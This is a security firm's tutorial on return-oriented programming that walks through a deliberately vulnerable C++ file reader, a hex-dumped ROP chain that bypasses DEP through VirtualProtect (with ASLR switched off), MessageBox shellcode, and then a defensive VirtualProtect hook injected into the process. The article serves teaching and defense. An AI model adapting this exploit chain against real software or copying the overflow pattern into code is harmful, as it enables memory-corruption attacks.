Software is never made perfect and developers can never account for everything. There will always be errors and misses, some of them more prominent than others. Malicious perpetrators often exploit such vulnerabilities to get control over the software in question. And while there is no way to eliminate every possible error, it is possible to protect your software from zero day atatcks and exploits by focusing your efforts and attention on the parts that matter.

If you know how perpetrators are finding and using vulnerabilities, you can account for it and protect your software contributing to the true proactive security

In this tutorial we will focus on ever prominent stack overflow exploits, describe the basics of ROP chains, and give some examples of how they work and how to code executable to defend from ROP attacks.

We hope that this will provide you some food for though and become a stepping stone on your journey to write more secure software in the future. And if you need a team of engineers with an extensive experience of creating secure software, you can always contact Apriorit.

Written by:
Vadim Zhernovoy,
Software developer of Network Security Team

 

What is ROP?

ROP is an acronym that stands for return oriented programming.  This is a specific technique that uses exploits to overcome such defenses as code signing and W xor X technique (non-executable memory) in order to allow perpetrator execute their own malicious code.

Hacker can easily load your shellcode in the stack or the heap but he can’t start executing it at once. Exploiting memory corruption created by shellcode injection, the hacker gets the control over EIP and jumps to his code using a chain of carefully chosen ROP gadgets.

ROP gadget is a set of assembler instructions ending with ret instruction or analogs. ROP gadgets may look like:

0x1000b516 : pop eax ; pop ebp ; ret
0x10015875 : pop eax ; pop ebp ; ret 0x1c
0x1000ffe3 : pop eax ; pop ecx ; xchg dword ptr [esp], eax ; jmp eax

Attack

An attack using ROP chain is possible if there is a vulnerability in the target application. Windows has two main ways to safeguard software: Data Execution Prevention or DEP, as well as Address Space Layout Randomization or ASLR.

Address Space Layout Randomization makes it difficult to hardcode addresses/memory locations by making predicting them very difficult. This, in turn, makes it very difficult to create a solid exploit. It is achieved by randomizing heap, stack, and module base addresses. Data Execution Prevention works by preventing code from being executed on the stack.

These mechanisms also can be bypassed with more advanced technics. DEP can be bypassed by calling memory allocation/protection functions from the application import address table (IAT). Some examples of such functions:

Some of such calls are:

  • VirtualAlloc(MEM_COMMIT + PAGE_READWRITE_EXECUTE) + copy memory. This function provides the ability to make a new memory region where the hacker can then copy the shellcode and run it. In order to do this, hacker most often will need to chain two API together.
  • SetProcessDEPPolicy(). With this function perpetrator can change DEP policy for the process, which ultimately allows for the shellcode to be executed from the stack. It works only on Windows XP SP3, Vista SP1, and Server 2008 and requires DEP Policy to be set to OptOut or OptIn.
  • VirtualProtect(PAGE_READ_WRITE_EXECUTE). It allows hackers to mark the location with the shellcode as an executable for the memory page in question. It is made possible by changing the access protection level.
  • NtSetInformationProcess(). DEP policy for the current process can be changed using this function. It allows perpetrators to execute shellcode from the stack.
  • WriteProcessMemory(). This function allows the perpetrator to copy the shellcode to another location, allowing them to jump there and run it. This means, however, that the target location needs to be writable and executable.
  • HeapCreate(HEAP_CREATE_ENABLE_EXECUTE) + HeapAlloc() + copy memory. Very similar to the first function mentioned (VirtualAlloc), it requires the perpetrator to chain three API into each other to work.

Bypass of ASLR is possible by determining the load address of desired modules (for example, kernel32.dll) and generating proper addresses for whole ROP chain.

Let’s consider an example of an application with stack overflow vulnerability. This program allows an attacker to overwrite return address in the stack frame and set EIP to the desired value, thus executing code from the stack. For the sake of simplicity, in this article the application supports only DEP protection and does not support ASLR protection – we disable this option via Visual Studio project properties:

 ASLR protection in Visual Studio is disabled to help demonstrate the exploit

The simplest application with stack overflow issue may look like this:

std::ifstream fileStream("C:\\test.txt", std::ifstream::binary);
		if (fileStream) 
		{
			// get length of file:
			fileStream.seekg(0, fileStream.end);
			const int length = fileStream.tellg();
			fileStream.seekg(0, fileStream.beg);
			char smallBuffer[25] = {0};
			std::cout << "Reading " << length << " characters... ";
			// read data as a block:
			fileStream.read(smallBuffer,length);
			if (fileStream)
			{
				std::cout << "all characters read successfully.";
			}
			else
			{
				std::cout << "error: only " << fileStream.gcount() << " could be read";
			}
			fileStream.close();

As you may see – stack overflow issue can be easily achieved. However, in order to build this code in Visual Studio 2015 which is used in this article, we need to add

#pragma check_stack(off)

This app can be built using any other build environment without that option.

File test.txt which is read by the application contains ROP chain. ROP chain is specifically designed to bypass DEP protection and call our code.

In the hex editor test.txt looks like this:

31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
74 74 74 74 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 74 74 74 74 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 ba e3 83 6a 00 20 88 6a
ff ff ff ff 00 00 00 00 00 00 00 00 88 d5 84 6a
ab cf 82 6a 75 b9 85 6a 63 b0 85 6a 00 f0 ff ff
00 10 00 00 40 00 00 00 00 20 88 6a 31 32 33 34
31 32 33 34 00 20 88 6a f8 ff ff ff 6f 28 83 6a
6f 28 83 6a 78 be 83 6a ba 25 84 6a be 3c 85 6a
de 10 83 6a 31 32 33 34 a3 5e 83 6a a3 5e 83 6a
a3 5e 83 6a 5b 5e 83 6a 56 16 83 6a fb 22 85 6a
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 31 32 33 34 31 32 33 34 31 32 33 34
31 32 33 34 74 74 74 74 31 32 33 34 31 32 33 34

In this file ROP chain begins with ba e3 83 6a (0x6a83e3ba). This is a place in a file after a crash where EIP points to. ROPgadget.py is a utility to gather possible ROP gadget for a given module. It was used to get ROP gadgets for msvcp140.dll. In order to prepare proper addresses for ROP chain, we need to determine a load address of msvcp140.dll and a base address of msvcp140.dll. This load address is constant during Windows session since we disabled ASLR support before.

If we run our application on the testing environment we can see that the load address of msvcp140.dll in this Windows session will be 6a880000:

 Determining the load address of msvcp140.dll to calculate the proper ROP gadget address

Using IDA-Pro we can determine that the base address for msvcp140.dll is 1000000

 Getting the base address of msvcp140.dll to calculate the proper ROP gadget address

So the proper address for ROP gadgets will be calculated the next way:

6a880000 - 1000000 + gadgetAddress = address to place in the file.

ROP chain is specifically designed to bypass DEP by calling VirtualProtect() function and then call our code in protected memory. The first thing that we need in a ROP chain is to prepare a stack for execution of Virtual Protect with flNewProtect parameter == PAGE_EXECUTE_READWRITE. It can be achieved in few steps:

1)    charge registers with useful parameters. Particularly we want to fill edi with gadget address 0x1002d588 to acquire a stack

0x1001e3ba : pop eax; pop edi; pop esi; pop ebp; ret 

2)    acquire a stack

0x1002d588 : and edi, esp; add byte ptr&#91eax&#93, al; ret 0x18  

3)    configure a stack for calling VirtualProtect. We need to place VirtualProtect call address from application IAT, return address and parameters continuously into stack

    0x1000cfab : mov eax, edi; pop edi; pop esi; pop ecx; pop ebp; ret
    0x1001286f : add eax, 6; ret
    0x1001286f : add eax, 6; ret
    0x1001be78 : add dword ptr[eax], eax; ret
    0x100225ba : add eax, ebp; ret
    0x10033cbe : add dword ptr[eax], 2; ret
    0x100110de : mov ecx, eax; mov eax, ecx; pop ebp; ret
    0x10015ea3 : mov eax, dword ptr[eax]; ret
    0x10015ea3 : mov eax, dword ptr[eax]; ret
    0x10015ea3 : mov eax, dword ptr[eax]; ret
    0x10015e5b : mov dword ptr[ecx], eax; ret
    0x10011656 : mov eax, ecx; ret
 

4)    restore ESP to the position where VirtualProtect call starts

0x100322fb : xchg eax, esp; ret

5)    when VirtualProtect function returns the next chain of gadgets executed in order to move ESP to the code payload that was placed in the test.txt right after our ROP chain:

6a834e8e c22000     ret     20h
6a8360f8 c21800     ret     18h
a8310de 8bc8        mov ecx, eax; mov eax, ecx; pop ebp; ret
6a85f3d3 fff4       push esp; ret

After execution of VirtualProtect we have 0x1000 of writeable and executable memory to execute anything we want. In this article, MessageBox will be called. Code of payload for calling MessageBox function looks like this:

unsigned char payload[] = { 0x8B, 0xF4,                               
// mov         esi,esp
                            0x81, 0xC4, 0x00, 0x00, 0x10, 0x00,       
// add esp, 0x100000
                            0xEB, 0x22,                               
// skip data section
                            0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00,
                            0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00,
                            0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
                            0x90, 0x90, 0x90, 0x90,
                            0x8D, 0x46, 0x0A,                         
// lea eax, [esi + A]
                            0x50,                                     
// push        eax  
                            0x3E, 0xFF, 0x15, 0x60, 0x50, 0x88, 0x6a, 
// call        dword ptr ds:[6a885060h] //LoadLibrary 0x6a885060
                            0x8B, 0xC8,                               
// mov         ecx,eax 
                            0x8D, 0x5E, 0x15,                         
// lea         ebx,[esi+15h] 
                            0x53,                                     
// push        ebx
                            0x51,                                     
// push        ecx
                            0x3E, 0xFF, 0x15, 0xac, 0x50, 0x88, 0x6a, 
// call        dword ptr ds:[6a8850ach] //GetProcAddress 0x6a8850ac
                            0xFF, 0xD0,                               
// call        eax
                            0xCC };

Let’s test our ROP chain:

 Testing ROP exploit

This is an example of the stack overflow ROP exploit, which we used to call our code (which also can be harmful). Let’s consider how we can create a functional defense against such attacks.

Defense

It is clear that in order to call some code on a stack of the application ROP chain MUST bypass DEP protection. ROP chain in this article bypasses it by calling the VirtualProtect function. So if we want to protect our software against ROP attack we could consider protection against calls which can alter memory attributes.

Let’s consider an example of protection against ROP chain implemented in the previous paragraph. The main feature of such ROP – it calls VirtualProtect(). We want to somehow prevent the call of VurtialProtect() function. For such purposes, we can consider API hooking mechanism and its injection into processes which we want to protect.

In this article, for API hooking we use mhook library. With this library the code for VirtualProtect() hooking may look like:

// Original function
PVIRTUAL_PROTECT OriginalVirtualProtect =
(PVIRTUAL_PROTECT)::GetProcAddress(::GetModuleHandle(L"kernel32"), "VirtualProtect");
// Hooked function
BOOL WINAPI HookedVirtualProtect(
    _In_  LPVOID lpAddress,
    _In_  SIZE_T dwSize,
    _In_  DWORD  flNewProtect,
    _Out_ PDWORD lpfOldProtect
)
{
    if (flNewProtect != PAGE_EXECUTE_READWRITE)
    {
        return OriginalVirtualProtect(lpAddress, dwSize, flNewProtect, lpfOldProtect);
    }
    else
    {
        std::cout << "\nNailed a hacker trying to bypass DEP!!!" << std::endl << std::endl;
        system("pause");
        return 0;
    }
}

We check if VirtualProtect() tries to patch memory with PAGE_EXECUTE_READWRUTE attributes and return 0 (function fails) if it does.

To set such hook we call Mhook_SetHook() function from DllMain():

INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved)
{
    switch (Reason)
    {
    case DLL_PROCESS_ATTACH:
        Mhook_SetHook(reinterpret_cast<PVOID*>(&OriginalVirtualProtect), HookedVirtualProtect);
        break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

The last thing that we need is to inject this protective code into our process. This can be accomplished in the following way:

1)    Create a suspended process of the vulnerable application:

        const std::wstring pathToApp(argv[1]);
        BOOL res = ::CreateProcessW(
            NULL,
            const_cast<LPWSTR>(pathToApp.c_str()),
            NULL,
            NULL,
            FALSE,
            CREATE_SUSPENDED,
            NULL,
            NULL,
            &si,
            &processInfo
        ); 

2)    Inject a call of LoadLibraryA into the vulnerable application using CreateRemoteThread() function call (Actually CreateRemoteThread() is not the best way to inject code into processes because it can easily be prevented by special software and was chosen as the simplest way to demonstrate protection):

        LPVOID addr = reinterpret_cast<LPVOID>(GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"));
...
        LPVOID arg = reinterpret_cast<LPVOID>(::VirtualAllocEx(processInfo.hProcess, NULL, strlen(gPathToDll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE));
...        
        res = ::WriteProcessMemory(processInfo.hProcess, arg, gPathToDll, strlen(gPathToDll), NULL);
...
        ATL::CHandle thread(::CreateRemoteThread(processInfo.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL));
...

3)    Resume the main thread of the vulnerable application:

const DWORD err = ::ResumeThread(processInfo.hThread);

Let’s test our security code injection into the vulnerable application.

 ROP exploit defense is working

Protection against ROP attack works! And this is only the one way of protection – there are many other approaches. If you're interested in writing secure applications, you can also check out our article on typical web application security issues and ways to solve them.

References

1.     https://en.wikipedia.org/wiki/Return-oriented_programming

2.     https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/

3.     https://github.com/JonathanSalwan/ROPgadget/tree/master

Subscribe to updates